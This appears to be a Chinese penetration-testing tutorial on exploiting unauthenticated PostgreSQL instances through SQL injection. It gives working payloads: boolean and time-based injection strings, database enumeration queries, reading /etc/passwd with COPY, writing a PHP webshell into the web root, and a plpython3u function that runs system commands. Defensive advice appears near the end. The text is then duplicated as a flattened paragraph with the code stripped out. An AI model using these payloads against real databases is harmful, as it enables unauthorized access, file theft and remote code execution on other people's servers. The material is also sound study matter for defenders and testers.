又记一次安服仔薅洞实战-未授权之发现postgresql注入
字数 922 2025-08-07 08:22:25

PostgreSQL未授权访问与注入攻击实战分析

1. 漏洞背景

PostgreSQL是一种功能强大的开源关系型数据库系统,但在配置不当的情况下可能面临未授权访问风险,进而导致SQL注入攻击。本文基于奇安信攻防社区分享的实战案例,详细分析PostgreSQL未授权访问漏洞的发现和利用过程。

2. 漏洞发现

2.1 未授权访问检测

PostgreSQL默认监听5432端口,检测步骤如下:

  1. 端口扫描发现开放5432端口
  2. 尝试直接连接:
    psql -h 目标IP -U postgres
    
  3. 若未设置密码或使用弱密码,可直接获取数据库访问权限

2.2 注入点识别

在获得未授权访问后,需寻找可能存在SQL注入的接口或功能点:

  1. 检查Web应用与PostgreSQL交互的接口
  2. 寻找用户输入直接拼接到SQL查询中的位置
  3. 重点关注搜索、筛选、排序等功能的参数

3. PostgreSQL注入技术

3.1 基础注入技术

-- 布尔型盲注
' AND 1=1-- 
' AND 1=2-- 

-- 时间型盲注
'; SELECT pg_sleep(10)--

3.2 PostgreSQL特有函数

-- 获取版本信息
SELECT version();

-- 获取当前数据库
SELECT current_database();

-- 获取所有数据库
SELECT datname FROM pg_database;

-- 获取当前用户
SELECT current_user;

-- 获取所有用户
SELECT usename FROM pg_user;

-- 获取表信息
SELECT table_name FROM information_schema.tables WHERE table_schema='public';

-- 获取列信息
SELECT column_name FROM information_schema.columns WHERE table_name='目标表';

3.3 文件系统操作

PostgreSQL允许有权限的用户读写文件:

-- 读取服务器文件
CREATE TABLE temp(t TEXT);
COPY temp FROM '/etc/passwd';
SELECT * FROM temp;
DROP TABLE temp;

-- 写入文件(获取WebShell)
COPY (SELECT '<?php system($_GET["cmd"]);?>') TO '/var/www/html/shell.php';

3.4 命令执行

利用PostgreSQL扩展执行系统命令:

-- 检查是否安装危险扩展
SELECT * FROM pg_extension WHERE extname='plperlu' OR extname='plpythonu' OR extname='plpython3u';

-- 创建扩展(需要超级用户权限)
CREATE EXTENSION plperlu;
CREATE EXTENSION plpythonu;

-- 执行系统命令
CREATE OR REPLACE FUNCTION system(cmd text) RETURNS int AS 
$$

    import os
    return os.system(cmd)

$$
 LANGUAGE plpython3u;

SELECT system('id');

4. 防御措施

4.1 防止未授权访问

  1. 修改默认端口
  2. 设置强密码策略
  3. 配置pg_hba.conf限制访问IP
  4. 禁止postgres用户远程登录

4.2 防止SQL注入

  1. 使用参数化查询(预处理语句)
  2. 实施最小权限原则
  3. 禁用危险扩展
  4. 定期更新PostgreSQL版本
  5. 实施Web应用防火墙(WAF)规则

5. 实战技巧

  1. 使用pg_dump工具导出数据库
  2. 利用dblink扩展进行数据库间连接
  3. 通过pg_stat_activity查看当前活动连接
  4. 使用pg_read_file()函数读取文件(9.1+版本)

6. 自动化工具

  1. sqlmap:支持PostgreSQL注入检测
    sqlmap -u "目标URL" --dbms=postgresql
    
  2. Metasploit:包含PostgreSQL相关攻击模块
  3. pgAdmin:图形化管理工具,可用于信息收集

7. 总结

PostgreSQL未授权访问结合SQL注入可导致严重的安全后果,攻击者可能获取敏感数据、执行系统命令甚至完全控制服务器。管理员应严格配置数据库访问权限,开发者应遵循安全编码规范,共同构建安全的数据存储环境。

PostgreSQL未授权访问与注入攻击实战分析 1. 漏洞背景 PostgreSQL是一种功能强大的开源关系型数据库系统,但在配置不当的情况下可能面临未授权访问风险,进而导致SQL注入攻击。本文基于奇安信攻防社区分享的实战案例,详细分析PostgreSQL未授权访问漏洞的发现和利用过程。 2. 漏洞发现 2.1 未授权访问检测 PostgreSQL默认监听5432端口,检测步骤如下: 端口扫描发现开放5432端口 尝试直接连接: 若未设置密码或使用弱密码,可直接获取数据库访问权限 2.2 注入点识别 在获得未授权访问后,需寻找可能存在SQL注入的接口或功能点: 检查Web应用与PostgreSQL交互的接口 寻找用户输入直接拼接到SQL查询中的位置 重点关注搜索、筛选、排序等功能的参数 3. PostgreSQL注入技术 3.1 基础注入技术 3.2 PostgreSQL特有函数 3.3 文件系统操作 PostgreSQL允许有权限的用户读写文件: 3.4 命令执行 利用PostgreSQL扩展执行系统命令: 4. 防御措施 4.1 防止未授权访问 修改默认端口 设置强密码策略 配置pg_ hba.conf限制访问IP 禁止postgres用户远程登录 4.2 防止SQL注入 使用参数化查询(预处理语句) 实施最小权限原则 禁用危险扩展 定期更新PostgreSQL版本 实施Web应用防火墙(WAF)规则 5. 实战技巧 使用 pg_dump 工具导出数据库 利用 dblink 扩展进行数据库间连接 通过 pg_stat_activity 查看当前活动连接 使用 pg_read_file() 函数读取文件(9.1+版本) 6. 自动化工具 sqlmap:支持PostgreSQL注入检测 Metasploit:包含PostgreSQL相关攻击模块 pgAdmin:图形化管理工具,可用于信息收集 7. 总结 PostgreSQL未授权访问结合SQL注入可导致严重的安全后果,攻击者可能获取敏感数据、执行系统命令甚至完全控制服务器。管理员应严格配置数据库访问权限,开发者应遵循安全编码规范,共同构建安全的数据存储环境。